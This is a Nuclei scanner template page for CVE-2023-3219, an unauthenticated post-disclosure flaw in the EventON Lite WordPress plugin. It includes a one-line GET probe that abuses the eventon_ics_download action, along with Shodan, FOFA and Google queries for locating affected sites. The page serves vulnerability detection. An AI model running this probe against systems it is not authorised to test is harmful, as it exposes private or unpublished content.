Skip to content
Nuclei Templates

EventON Lite < 2.1.2 - Arbitrary File Download

ID: CVE-2023-3219

Severity: medium

Author: r3Y3r53

Tags: cve,cve2023,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon-lite,bypass,myeventon

Description

Section titled “Description”

The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitorsto access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.

YAML Source

Section titled “YAML Source”
id: CVE-2023-3219


info:
  name: EventON Lite < 2.1.2 - Arbitrary File Download
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors
    to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.
  remediation: Fixed in version 2.1.2
  reference:
    - https://wpscan.com/vulnerability/72d80887-0270-4987-9739-95b1a178c1fd
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3219
    - https://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
    - https://wordpress.org/plugins/eventon-lite/
    - http://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-3219
    cwe-id: CWE-639
    epss-score: 0.08542
    epss-percentile: 0.94439
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - http.html:/wp-content/plugins/eventon/
      - http.html:/wp-content/plugins/eventon-lite/
    fofa-query:
      - wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - "/wp-content/plugins/eventon-lite/"
      - /wp-content/plugins/eventon/
    google-query: inurl:"/wp-content/plugins/eventon/"
  tags: cve,cve2023,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon-lite,bypass,myeventon


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN:VCALENDAR"
          - "END:VCALENDAR"
        condition: and


      - type: word
        part: header
        words:
          - "text/Calendar"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f905b3f0ec78d120f8e7364bf5b820e0c29d40b6201403f5f3a4e428b26353de0221009d52433ebe837cb95ef48c092c8c298a355db1d8758ce442773be7c401758d12:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-3219.yaml"

View on Github